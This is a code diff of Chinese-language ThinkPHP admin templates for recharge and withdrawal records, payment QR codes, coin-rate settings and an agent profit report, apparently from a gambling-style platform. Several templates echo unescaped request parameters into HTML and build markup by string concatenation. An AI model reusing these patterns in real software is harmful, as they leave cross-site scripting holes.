.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:400px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.add_input{padding: 10px; font-size: 14px;text-align: center;}
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
.save {background: #fff;width: 185px; overflow-y: hidden; margin: 0 auto;padding:20px 0;}
.save .upload {margin:0 auto; }
.clearfix {zoom: 1; }
.save .upload .upload_btn_item {width: 180px; height: 112px; background: url({$Think.ADMIN_STATIC_DOMAIN}/static/admin/images/upload-bg.jpg) no-repeat; float: left; -webkit-background-size: 100%; background-size: 100%; /* margin-right: 0.2rem; margin-bottom: 0.2rem;*/ position: relative; }
.save .title{
text-align: center;
font-size: 16px;
}
.save .upload .upload_btn {position: absolute; z-index: 1; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); }
.save .upload .img-box .item_file{width:180px; height: 112px; float: left; -webkit-background-size: cover; background-size: cover;position: relative; z-index: 1; }
.save .upload .upload_btn{position: absolute; z-index: 1; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); }
.save .upload .uploader_bg:before {content: " "; position: absolute; top: 0; right: 0; bottom: 0; left: 0; background: url({$Think.ADMIN_STATIC_DOMAIN}/static/admin/images/login.gif) rgba(0, 0, 0, 0.5) center center no-repeat; -webkit-background-size: 30px 30px; background-size: 30px 30px; }
.save .upload .error{position: absolute; top: 0; left: 0; z-index: 99; width:100%; height: 100%; line-height: 28px; rgba(0, 0, 0, 0.5) center center no-repeat; -webkit-background-size: 30px 30px; background-size: 30px 30px; }
.save .upload .upload_btn_item.login-img:before{content: ""; background: url({$Think.ADMIN_STATIC_DOMAIN}/static/admin/images/login.gif) no-repeat center center; -webkit-background-size: 40px 40px; background-size: 40px 40px; position: absolute; z-index: 99; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); pointer-events:none; }
.save .upload .remove_btn{position: absolute; right: -2px; top: -9px; width: 22px; height: 22px; background:#fff; border-radius: 999px; box-shadow: 0 5px 20px 0 rgba(0,0,0,.2); font-size: 12px; color: #666; font-weight: 600; text-align: center; line-height: 22px; z-index: 99; }
.save .upload .uploader_bg .uploader_num{position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); color: #FFFFFF; }
#code_img img{width: 100%;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">收款银行列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">收款二维码列表</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="layui-row">
<span class="layui-btn" style="margin-left: 20px;" onclick="showAdd()">添加</span>
</div>
<div class="x-body">
<table class="layui-table">
<thead>
<tr>
<th>编号</th>
<th>收款人账号</th>
<th>二维码类型</th>
<th>收款二维码</th>
<th>状态</th>
<th>创建时间</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="recharge_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.receivables_name}</td>
<td>{$vo.receivables_type_word}</td>
<td><img src="{$vo.receivables_qr_code}"></td>
<td>{$vo.is_use}</td>
<td>{$vo.create_time}</td>
<td>
<a href="javascript:;" onclick="edit_code(this)" receivables_id="{$vo.id}" receivables_name="{$vo.receivables_name}" receivables_qr_code="{$vo.receivables_qr_code}" receivables_type="{$vo.receivables_type}" status="{$vo.status}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >修改</span>
</a>
</td>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$recharge_list->render()}
</div>
<div class="alert" id="alert_add">
<div class="alert-title">添加收款二维码</div>
<div class="alert-main">
<section class="save">
<h3 class="title">上传二维码</h3>
<div class="upload clearfix">
<ul class="img-box">
</ul>
<div class="upload_btn_item">
<input class="upload_btn upload_file" type="file" accept="image/jpg,image/jpeg,image/png" multiple="">
</div>
<input type="hidden" id="img_url" value="">
</div>
</section>
<div class="add_input">收款人账号:<input id="receivables_name" name="receivables_name" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">二维码类型: <input name="code_type" class="required code_type" type="radio" value="3" maxlength="20" style="color:#999;width:35px;"><span>支付宝</span>
<input name="code_type" class="required code_type" type="radio" value="2" maxlength="20" style="color:#999;width:35px;"><span>微信</span></div>
<div class="add_input">是否启用: <input name="is_use" class="required is_use" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked><span>是</span>
<input name="is_use" class="required is_use" type="radio" value="0" maxlength="20" style="color:#999;width:35px;"><span>否</span></div>
</div>
<div class="alert-footer">
<span onclick="do_add_code()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<div class="alert" id="alert_edit">
<div class="alert-title">修改收款二维码</div>
<div class="alert-main">
<input type="hidden" id="edit_receivables_id" value="">
<div class="add_input" style="width: 150px;margin:0 auto;"><span id="code_img"></span></div>
<div class="add_input">收款人账号:<input id="edit_receivables_name" name="edit_receivables_name" type="text" value maxlength="50" minlength="3"></div>
<div class="add_input">二维码类型: <input name="edit_code_type" class="required edit_code_type" type="radio" value="3" maxlength="20" style="color:#999;width:35px;"><span>支付宝</span>
<input name="edit_code_type" class="required edit_code_type" type="radio" value="2" maxlength="20" style="color:#999;width:35px;"><span>微信</span></div>
<div class="add_input">是否启用: <input name="edit_is_use" class="required edit_is_use" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked><span>是</span>
<input name="edit_is_use" class="required edit_is_use" type="radio" value="0" maxlength="20" style="color:#999;width:35px;"><span>否</span></div>
</div>
<div class="alert-footer">
<span onclick="do_edit_code()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
<span onclick="hiddenForm('alert_edit')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/recharge/index';
if(id == "2") location.href = '/recharge/qr_code';
});
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 显示用户的赔率
function showAdd(){
$('#alert_add').show();
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#receivables_name').val('');
$('#receivables_bank').val('');
$('#receivables_cardnum').val('');
$('#' + id).hide();
}
function do_add_code(){
var query = new Object();
query.img_url = $('#img_url').val();
query.receivables_name = $('#receivables_name').val();
query.code_type = $('.code_type:checked').val();
query.is_use = $('.is_use:checked').val();
if(query.img_url.length == 0){
layer.alert("请上传收款二维码!");
return false;
}
if(query.receivables_name.length == 0){
layer.alert("请填写收款人姓名!");
return false;
}
if(query.code_type.length == 0){
layer.alert("请选择二维码类型!");
return false;
}
if(query.is_use.length == 0){
layer.alert("请选择收款银行卡状态!");
return false;
}
var result = ajax('/recharge/do_add_code',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/recharge/qr_code";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
}
function edit_code(obj){
$('input:radio[name="edit_is_use"]').removeAttr('checked');
$('input:radio[name="edit_code_type"]').removeAttr('checked');
var receivables_name = $(obj).attr('receivables_name');
var receivables_qr_code = $(obj).attr('receivables_qr_code');
var receivables_id = $(obj).attr('receivables_id');
var receivables_type = $(obj).attr('receivables_type');
var status = $(obj).attr('status');
var src = "<img src='"+receivables_qr_code+"'>";
$('#code_img').html(src);
$('#edit_receivables_id').val(receivables_id);
$('#edit_receivables_name').val(receivables_name);
if(receivables_type == 2){
$("input[name='edit_code_type'][value=2]").attr("checked",true);
$("input[name='edit_code_type'][value=3]").removeAttr("checked");
}else if(receivables_type == 3){
$("input[name='edit_code_type'][value=3]").attr("checked",true);
$("input[name='edit_code_type'][value=2]").removeAttr("checked");
}
if(status == 1){
$("input[name='edit_is_use'][value=1]").attr("checked",true);
$("input[name='edit_is_use'][value=0]").removeAttr("checked");
}else{
$("input[name='edit_is_use'][value=0]").attr("checked",true);
$("input[name='edit_is_use'][value=1]").removeAttr("checked");
}
$('#alert_edit').show();
}
function do_edit_code(){
var query = new Object();
query.receivables_id = $('#edit_receivables_id').val();
query.receivables_name = $('#edit_receivables_name').val();
query.code_type = $('.edit_code_type:checked').val();
query.is_use = $('.edit_is_use:checked').val();
if(query.receivables_name.length == 0){
layer.alert("请填写收款账号!");
return false;
}
if(query.code_type.length == 0){
layer.alert("请选择收款二维码类型");
return false;
}
if(query.is_use.length == 0){
layer.alert("请选择收款二维码状态!");
return false;
}
var result = ajax('/recharge/do_edit_code',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/recharge/qr_code";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
}
</script>
</body>
</html>
@@ -0,0 +1,198 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:300px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.alert-main {text-align: center;padding-top: 20px;}
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">充值记录</a>
<a href="javascript:;" class="list-one" data-id="2">提现记录</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/recharge/recharge_record" method="get">
<input type="text" name="username" id="username" placeholder="请输入用户账户" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出 excel</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>充值类型</th>
<th>收款方式ID</th>
<th>充值着账号/姓名</th>
<th>充值银行</th>
<th>充值银行账户</th>
<th>充值金额</th>
<th>创建时间</th>
<th>状态</th>
<th>操作员</th>
<th>备注</th>
</tr>
<tbody>
{foreach name="recharge_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.recharge_type}</td>
<td>{$vo.receivables_id}</td>
<td>{$vo.recharge_name}</td>
<td>{$vo.recharge_bank}</td>
<td>{$vo.recharge_cardnumber}</td>
<td>{$vo.recharge_money}</td>
<td>{$vo.create_time}</td>
{if condition="$vo.status == 0"}
<td>
<a href="javascript:;" onclick="deal_recharge({$vo.id})">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >充值</span>
</a>
<a href="javascript:;" onclick="show_remark({$vo.id})">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#f44336;" >拒绝</span>
</a>
</td>
{elseif condition="$vo.status == 1"}
<td>已充值</td>
{elseif condition="$vo.status == 2"}
<td>已拒绝</td>
{/if}
<td>{$vo.controller_admin}</td>
<td>{$vo.remarks}</td>
</tr>
{/foreach}
</tbody>
</table>
{$recharge_list->render()}
</div>
<div class="alert" id="alert_add">
<div class="alert-title">拒绝原因</div>
<div class="alert-main">
<input type="hidden" id="recharge_id">
<div class="add_input"><textarea id="remarks" rows="3" cols="20" style="width: 280px;height: 150px;"></textarea></div>
</div>
<div class="alert-footer">
<span onclick="do_add_remarks()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/recharge/recharge_record';
if(id == "2") location.href = '/recharge/withdrawal_record';
});
/*用户-删除*/
function deal_recharge(id) {
layer.confirm('确认要充值吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('充值操作出错!');
return false;
}
// 拼装数据
var query = new Object;
query.recharge_id = id;
// 发送数据到后台删除会员
var result = ajax('/recharge/deal_recharge',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 导出excel
$('#export').click(function(){
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/recharge/recharge_record?export=1&{$query}";
layer.close(index);
});
});
function show_remark(id){
$('#recharge_id').val(id);
$('#alert_add').show();
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#remarks').val('');
$('#' + id).hide();
}
function do_add_remarks(){
var query = new Object();
query.record_id = $('#recharge_id').val();
query.remarks = $('#remarks').val();
if(query.remarks.length == 0){
layer.alert("请填写拒绝原因!");
return false;
}
var result = ajax('/recharge/do_add_remarks_recharge',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/recharge/recharge_record";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
}
</script>
</body>
</html>
@@ -0,0 +1,87 @@
{include file="public/header"}
<body>
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .pass_edit{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; } .change_box .pass_edit:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } .control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; } .control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; } .controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; } .controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; } .controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; } .bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; } .pass_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; } </style>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" _href="/recharge/setting" class="pass_edit">充值提现配置</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">充值U币:</label>
<div class="controls">
100 U币 =
<input name="recharge_money" type="number" value="{$system.recharge_money}" class="required">
分
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">提现U币:</label>
<div class="controls">
100 U币 =
<input name="withdraw_money" type="number" value="{$system.withdraw_money}" class="required">
分
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">提现U币手续费:</label>
<div class="controls">
<input name="withdraw_fee" type="number" value="{$system.withdraw_fee}" class="required">
U币
<span class="help-inline">
<font color="red">*</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='pass_submit'>保存</div>
</div>
</div>
</div>
</body>
<script type="text/javascript">
$('.pass_submit').click(function(){
var rechargeMoney = $('input[name="recharge_money"]').val();
var withdrawMoney = $('input[name="withdraw_money"]').val();
var withdrawFee = $('input[name="withdraw_fee"]').val();
if(rechargeMoney == '' || rechargeMoney == null){
layer.alert('请填写充值U币配置!');
return false;
}
if(withdrawMoney == '' || withdrawMoney == null){
layer.alert('请填写提现U币配置!');
return false;
}
$.ajax({
url:"/recharge/saveSetting",
type:"POST",
dataType:"JSON",
data:{
recharge_money:rechargeMoney,
withdraw_money:withdrawMoney,
withdraw_fee:withdrawFee,
},
success:function(data){
if(data.code == 1){
layer.msg(data.msg);
}else{
layer.msg(data.msg);
}
}
});
});
</script>
</html>
@@ -0,0 +1,195 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.alert{position:fixed; top:15%; left:30%; width:300px; min-height:320px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
.alert-main {text-align: center;padding-top: 20px;}
.alert-footer{padding:20px; text-align:center;}
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">充值记录</a>
<a href="javascript:;" class="list-one actived" data-id="2">提现记录</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/recharge/recharge_record" method="get">
<input type="text" name="username" id="username" placeholder="请输入用户账户" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出 excel</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>提现银行</th>
<th>提现银行支行</th>
<th>提现银行账户</th>
<th>提现银行账户名称</th>
<th>提现金额</th>
<th>创建时间</th>
<th>状态</th>
<th>操作员</th>
<th>备注</th>
</tr>
<tbody>
{foreach name="withdrawal_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.recharge_bank}</td>
<td>{$vo.recharge_bank_branch}</td>
<td>{$vo.recharge_cardnumber}</td>
<td>{$vo.recharge_name}</td>
<td>{$vo.recharge_money}</td>
<td>{$vo.create_time}</td>
{if condition="$vo.status == 0"}
<td>
<a href="javascript:;" onclick="deal_recharge({$vo.id})">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >提现</span>
</a>
<a href="javascript:;" onclick="show_remark({$vo.id})">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#f44336;" >拒绝</span>
</a>
</td>
{elseif condition="$vo.status == 1"}
<td>已提现</td>
{elseif condition="$vo.status == 2"}
<td>已拒绝</td>
{/if}
<td>{$vo.controller_admin}</td>
<td>{$vo.remarks}</td>
</tr>
{/foreach}
</tbody>
</table>
{$withdrawal_list->render()}
</div>
<div class="alert" id="alert_add">
<div class="alert-title">拒绝原因</div>
<div class="alert-main">
<input type="hidden" id="withdrawal_id">
<div class="add_input"><textarea id="remarks" rows="3" cols="20" style="width: 280px;height: 150px;"></textarea></div>
</div>
<div class="alert-footer">
<span onclick="do_add_remarks()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/recharge/recharge_record';
if(id == "2") location.href = '/recharge/withdrawal_record';
});
function deal_recharge(id) {
layer.confirm('确认要提现吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('提现操作出错!');
return false;
}
// 拼装数据
var query = new Object;
query.recharge_id = id;
// 发送数据到后台删除会员
var result = ajax('/recharge/deal_withdrawal',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 导出excel
$('#export').click(function(){
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/recharge/withdrawal_record?export=1&{$query}";
layer.close(index);
});
});
function show_remark(id){
$('#withdrawal_id').val(id);
$('#alert_add').show();
}
//点击隐藏表单弹窗
function hiddenForm(id) {
$('#remarks').val('');
$('#' + id).hide();
}
function do_add_remarks(){
var query = new Object();
query.record_id = $('#withdrawal_id').val();
query.remarks = $('#remarks').val();
if(query.remarks.length == 0){
layer.alert("请填写拒绝原因!");
return false;
}
var result = ajax('/recharge/do_add_remarks',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/recharge/withdrawal_record";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
}
</script>
</body>
</html>
+163
View File
@@ -0,0 +1,163 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.layui-table{margin-bottom:0;}
.no-data{background:#f2f2f2;text-align:center;height:30px;line-height:30px;}
.operation{width:20%}
.child-false{background:#FBFBFB;color:#ccc;}
.child-false:hover{background:#FBFBFB;color:#ccc;cursor:not-allowed;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">收益日报表</a>
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/report/profit" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<input type="text" name="username" id="username" placeholder="代理账号" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出 excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>用户名</th>
<th>占成%</th>
<th>占成收益</th>
<th>洗码率%</th>
<th>洗码收益</th>
<th>总收益金额</th>
<th class="operation">操作</th>
</tr>
</thead>
<tbody>
{foreach name="agent_list" item="vo"}
<tr>
<td>
<a href="javascript:;" class="relation" onclick="x_admin_show('关系结构','/index/relation?id={$vo.id}',400,500)">{$vo.username}</a>
{if condition="$vo.status == 0"}
<span style="color:red;">(禁用)</span>
{/if}
</td>
<td>{$vo.agent_cs}</td>
<td>{$vo.self_income_cs}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.self_income_xima}</td>
<td>{$vo.total_income}</td>
<td>
{if condition="$vo.child_agent > 0"}
<a class="layui-btn layui-btn-normal layui-btn-mini" href="javascript:;" onclick="x_admin_show('{$vo.username} > 下级代理','/report/profit?agent_id={$vo.id}&startDate={$get.startDate}&endDate={$get.endDate}')">下级代理</a>
{else}
<a class="layui-btn layui-btn-normal layui-btn-mini child-false" href="javascript:;">下级代理</a>
{/if}
</td>
</tr>
{/foreach}
</tbody>
</table>
<?php if(count($agent_list) == 0): ?>
<div class="no-data">暂无数据</div>
<?php endif; ?>
</div>
<!-- 隐藏参数 -->
<input type="hidden" id="agent_id" value="<?php if(isset($get['agent_id'])) echo $get['agent_id']; ?>">
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/report/profit';
// if(id == "2") location.href = '/player/player_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var username = $('#username').val();
var agent_id = $('#agent_id').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/report/profit?export=1&startDate="+startDate+"&endDate="+endDate+"&username="+username+'&agent_id='+agent_id;
layer.close(index);
});
})
$('#print').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var username = $('#username').val();
var agent_id = $('#agent_id').val();
layer.open({
type: 2,
title:'收益日报表打印',
